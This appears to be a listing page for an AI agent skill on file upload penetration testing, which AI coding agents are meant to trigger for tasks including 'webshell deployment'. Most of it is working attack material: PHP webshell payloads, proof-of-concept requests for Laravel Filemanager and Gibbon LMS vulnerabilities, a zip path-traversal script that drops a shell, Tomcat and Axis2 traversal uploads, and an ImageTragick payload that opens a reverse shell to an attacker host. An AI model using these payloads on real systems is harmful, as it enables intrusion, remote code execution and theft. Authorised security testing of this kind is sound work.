# File Upload Pentest

> Test file upload vulnerabilities and bypass protections. Use this skill whenever the user needs to assess file upload security, test extension bypasses, create polyglot files, or exploit upload handlers. Trigger on requests about file upload testing, webshell deployment, extension bypass, magic number bypass, or any upload-related security assessment.

- Skill: `abelrguezr/file-upload-pentest` (Agent Skill, multi-file: 6 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/file-upload-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/file-upload-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/file-upload-pentest

---


# File Upload Pentesting

A comprehensive skill for testing file upload vulnerabilities and bypassing server-side protections.

## Quick Start

1. **Identify the upload endpoint** and test with a basic malicious file
2. **Check extension restrictions** and try bypass techniques
3. **Test content-type and magic number validation**
4. **Try server-specific exploits** (Jetty, uWSGI, Tomcat, etc.)
5. **Use bundled scripts** for payload generation

## Extension Bypass Techniques

### Basic Extension Tricks

Test these variations systematically:

1. **Case variations**: `.pHp`, `.pHP5`, `.PhAr`, `.PHTML`
2. **Double extensions**: `file.png.php`, `file.jpg.Php5`
3. **Special characters**:
   - `file.php%20` (space)
   - `file.php%0a` (newline)
   - `file.php%00` (null byte)
   - `file.php%0d%0a` (CRLF)
   - `file.php/` (trailing slash)
   - `file.php..` (double dot)
4. **Extension order tricks**:
   - `file.php.png` (Apache misconfiguration)
   - `file.png.jpg.php` (multiple layers)
5. **Comment tricks**: `file.php#.png`, `file.php%00.png`

### Server-Specific Extensions

**PHP** (test all variants):
- `.php`, `.php2`, `.php3`, `.php4`, `.php5`, `.php6`, `.php7`
- `.pht`, `.phtm`, `.phtml`, `.pgif`, `.shtml`, `.htaccess`
- `.phar`, `.inc`, `.hphp`, `.ctp`, `.module`

**ASP/ASPX**:
- `.asp`, `.aspx`, `.config`, `.ashx`, `.asmx`, `.cshtml`, `.vbhtml`

**JSP**:
- `.jsp`, `.jspx`, `.jsw`, `.jsv`, `.jspf`, `.do`, `.action`

**Other**:
- `.cfm`, `.cfml` (ColdFusion)
- `.swf` (Flash)
- `.pl`, `.cgi` (Perl)
- `.yaws` (Erlang)

### NTFS Alternate Data Streams (Windows)

```cmd
file.asax:.jpg
file.asp::$data.
```

Creates an empty file with the forbidden extension that can be edited later.

### Filename Length Truncation

Linux max filename: 255 bytes. Some tools (wget) truncate to 236.

```bash
# Create a filename that truncates to .php
python3 -c 'print("A" * 232 + ".php.gif")'
```

Upload this - the server may truncate to `.php`.

## Content-Type and Magic Number Bypass

### Content-Type Header Tricks

Set these values to bypass checks:
- `image/png`
- `image/jpeg`
- `text/plain`
- `application/octet-stream`

### Magic Number Injection

Add valid image headers to malicious files:

**PNG header**:
```
\x89PNG\r\n\x1a\n
```

**JPEG header**:
```
\xff\xd8\xff
```

Use the `create-polyglot.sh` script to generate these automatically.

### Surviving Image Processing

If the server resizes/compresses images, use these techniques:

1. **PLTE chunk** - survives PHP-GD compression
2. **IDAT chunk** - survives imagecopyresized/resampled
3. **tEXt chunk** - survives thumbnailImage

See `references/persistent-payloads.md` for implementation details.

## CVE-Specific Exploits

### UniSharp Laravel Filemanager (CVE-2024-21546)

**Affected**: Versions before 2.9.1

**Bypass**: Trailing dot in filename

```bash
# Upload shell.php. (with trailing dot)
# Server strips the dot, saves as shell.php

# PoC request:
POST /profile/avatar
Content-Type: multipart/form-data

filename="shell.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
```

**Access**: `/storage/files/shell.php?cmd=id`

### Gibbon LMS (CVE-2023-45878)

**Endpoint**: `/modules/Rubrics/rubrics_visualise_saveAjax.php`

**Method**: POST with base64-encoded payload

```bash
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
  -d 'img=image/png;test,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7Pz4=&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```

### Jetty XML RCE

Upload XML to `$JETTY_BASE/webapps/` - automatically processed.

### uWSGI Configuration RCE

If you can write to `.ini` files:

```ini
[uwsgi]
body = @(exec://whoami)
```

Payload executes during config parsing (requires restart or auto-reload).

## ZIP/Tar Exploitation

### Path Traversal in Archives

```python
#!/usr/bin/env python3
import zipfile
from io import BytesIO

def create_malicious_zip():
    f = BytesIO()
    z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
    z.writestr('../../../var/www/html/shell.php', '<?php system($_REQUEST["cmd"]); ?>')
    z.close()
    with open('poc.zip', 'wb') as out:
        out.write(f.getvalue())
```

### Symlink in Archive

```bash
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
```

### NUL-Byte Smuggling (PHP ZipArchive)

1. Create `shell.php..pdf` (valid PDF with embedded PHP)
2. Zip it
3. Hex-edit filename to `shell.php\x00.pdf`
4. ZipArchive sees `.pdf`, filesystem writes `.php`

Use `create-null-zip.sh` script for automation.

### Stacked ZIPs

```bash
cat benign.zip evil.zip > combined.zip
```

Different parsers may read different archives.

## Server-Specific Exploits

### Tomcat GZIP Upload

```http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp
Content-Type: application/octet-stream
Content-Encoding: gzip

<gzip-compressed-jsp-payload>
```

### Axis2 SOAP Upload

```xml
<soapenv:Envelope>
  <soapenv:Body>
    <uploadFile>
      <archiveName>shell.jsp</archiveName>
      <jobDirectory>/../../../../opt/tomcat/webapps/</jobDirectory>
      <dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgPz4=</dataHandler>
    </uploadFile>
  </soapenv:Body>
</soapenv:Envelope>
```

### Windows NTFS Junctions

```cmd
rmdir C:\Windows\Tasks\Uploads\<id>
mklink /J C:\Windows\Tasks\Uploads\<id> C:\xampp\htdocs
```

Redirects uploads to webroot.

## ImageTragick Exploit

Upload this content with image extension:

```
push graphic-context
viewbox 0 0 640 480
fill 'url("https://attacker.com/test.jpg"|bash -i >& /dev/tcp/ATTACKER-IP/PORT 0>&1)'
pop graphic-context
```

## Content-Type Confusion

Some handlers trust parsed JSON over actual multipart:

```json
{
  "files": {
    "document": {
      "filepath": "/proc/self/environ",
      "mimetype": "image/png",
      "originalFilename": "x.png"
    }
  }
}
```

## Testing Checklist

- [ ] Test all extension variations (case, double, special chars)
- [ ] Try content-type header manipulation
- [ ] Add magic bytes to malicious files
- [ ] Test filename length truncation
- [ ] Try ZIP path traversal
- [ ] Check for server-specific vulnerabilities
- [ ] Test NTFS tricks on Windows
- [ ] Try polyglot files
- [ ] Check for ImageTragick
- [ ] Test Content-Type confusion

## Bundled Scripts

- `scripts/create-polyglot.sh` - Generate polyglot files with magic headers
- `scripts/create-null-zip.sh` - Create NUL-byte smuggled ZIPs
- `scripts/generate-payloads.sh` - Generate common webshell payloads
- `scripts/test-extensions.sh` - Test extension bypasses systematically

## References

- [PayloadsAllTheThings - Upload](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [Fuxploider](https://github.com/almandin/fuxploider)
- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass)
- [ImageTragick](https://www.exploit-db.com/exploits/39767)
- [Persistent PNG Payloads](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)

